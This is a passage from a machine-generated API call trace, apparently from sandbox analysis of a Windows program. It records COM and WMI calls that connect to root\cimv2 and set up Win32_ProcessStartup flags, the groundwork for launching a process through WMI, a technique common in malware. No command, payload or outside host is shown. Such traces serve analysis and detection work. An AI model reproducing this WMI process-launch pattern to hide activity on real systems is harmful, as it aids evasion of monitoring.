[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.674] WbemDefPath:IUnknown:Release (This=0x1bc40900) returned 0x3 [0134.674] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0134.674] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0134.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0134.674] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x2 [0134.674] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x1 [0134.674] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0134.674] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0134.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc3e900) returned 0x0 [0134.675] WbemDefPath:IUnknown:AddRef (This=0x1bc3e900) returned 0x3 [0134.675] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x2 [0134.675] WbemDefPath:IWbemPath:SetText (This=0x1bc3e900, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0134.675] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3e900, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0134.675] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e900, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0134.675] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e900, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.675] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0134.675] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0134.675] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0134.675] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.676] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc40a00) returned 0x0 [0134.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40a00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0134.676] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc40a00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc40a20) returned 0x0 [0134.676] WbemLocator:IUnknown:Release (This=0x1bc40a00) returned 0x0 [0134.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40a20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc40a20) returned 0x0 [0134.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40a20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0134.677] WbemLocator:IUnknown:AddRef (This=0x1bc40a20) returned 0x3 [0134.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40a20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0134.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40a20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0134.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40a20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0134.677] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0134.677] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0134.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40a20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0134.677] WbemLocator:IUnknown:Release (This=0x1bc40a20) returned 0x2 [0134.677] WbemLocator:IUnknown:Release (This=0x1bc40a20) returned 0x1 [0134.677] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0134.677] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0134.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40a20, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc40a20) returned 0x0 [0134.677] WbemLocator:IUnknown:AddRef (This=0x1bc40a20) returned 0x3 [0134.677] WbemLocator:IUnknown:Release (This=0x1bc40a20) returned 0x2 [0134.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3e900, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0134.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e900, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0134.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e900, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.677] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc40a40) returned 0x0 [0134.677] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc40a40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc35be0) returned 0x0 [0134.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35be0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc41de0) returned 0x0 [0134.941] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc41de0, pProxy=0x1bc35be0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0134.941] WbemLocator:IUnknown:Release (This=0x1bc41de0) returned 0x1 [0134.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35be0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc41e20) returned 0x0 [0134.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35be0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc41de0) returned 0x0 [0134.941] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc41de0, pProxy=0x1bc35be0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0134.942] WbemLocator:IUnknown:Release (This=0x1bc41de0) returned 0x2 [0134.942] WbemLocator:IUnknown:Release (This=0x1bc41e20) returned 0x1 [0134.942] CoTaskMemFree (pv=0x1bc1bad0) [0134.942] WbemLocator:IUnknown:AddRef (This=0x1bc35be0) returned 0x2 [0134.942] WbemLocator:IUnknown:Release (This=0x1bc40a40) returned 0x0 [0134.942] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0134.943] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0134.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35be0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc41df0) returned 0x0 [0134.943] WbemLocator:IRpcOptions:Query (in: This=0x1bc41df0, pPrx=0x1bc40aa0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0134.943] WbemLocator:IUnknown:Release (This=0x1bc41df0) returned 0x2 [0134.943] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0134.943] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0134.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35be0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc35be0) returned 0x0 [0134.943] WbemLocator:IUnknown:Release (This=0x1bc35be0) returned 0x2 [0134.943] SysStringLen (param_1=0x0) returned 0x0 [0134.943] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b220, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0134.943] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b220, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0134.944] IWbemServices:GetObject (in: This=0x1bc35be0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc29420, ppCallResult=0x0) returned 0x0 [0134.945] IWbemClassObject:Get (in: This=0x1bc29420, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0134.945] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0134.945] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0134.946] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0134.946] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0134.946] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0134.946] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.948] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc40a40) returned 0x0 [0134.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40a40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0134.948] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40a40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc3e9c0) returned 0x0 [0134.948] WbemDefPath:IUnknown:Release (This=0x1bc40a40) returned 0x0 [0134.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc3e9c0) returned 0x0 [0134.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0134.949] WbemDefPath:IUnknown:AddRef (This=0x1bc3e9c0) returned 0x3 [0134.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0134.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0134.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc40a60) returned 0x0 [0134.949] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40a60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.949] WbemDefPath:IUnknown:Release (This=0x1bc40a60) returned 0x3 [0134.949] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0134.949] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0134.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0134.949] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x2 [0134.949] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x1 [0134.949] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0134.949] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0134.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc3e9c0) returned 0x0 [0134.949] WbemDefPath:IUnknown:AddRef (This=0x1bc3e9c0) returned 0x3 [0134.949] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x2 [0134.949] WbemDefPath:IWbemPath:SetText (This=0x1bc3e9c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0134.950] IWbemClassObject:Get (in: This=0x1bc29420, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869da8*=0, plFlavor=0x2869dac*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869da8*=19, plFlavor=0x2869dac*=0) returned 0x0 [0134.950] IWbemClassObject:Get (in: This=0x1bc29420, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869da8*=19, plFlavor=0x2869dac*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869da8*=19, plFlavor=0x2869dac*=0) returned 0x0 [0134.950] IWbemClassObject:Put (This=0x1bc29420, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0134.950] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1b160, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0134.950] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0134.950] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0134.950] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.950] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0134.950] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0134.950] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0134.950] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.952] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc40c00) returned 0x0 [0134.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40c00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0134.953] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40c00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc3ea80) returned 0x0 [0134.953] WbemDefPath:IUnknown:Release (This=0x1bc40c00) returned 0x0 [0134.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc3ea80) returned 0x0 [0134.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0134.953] WbemDefPath:IUnknown:AddRef (This=0x1bc3ea80) returned 0x3 [0134.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0134.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0134.953] 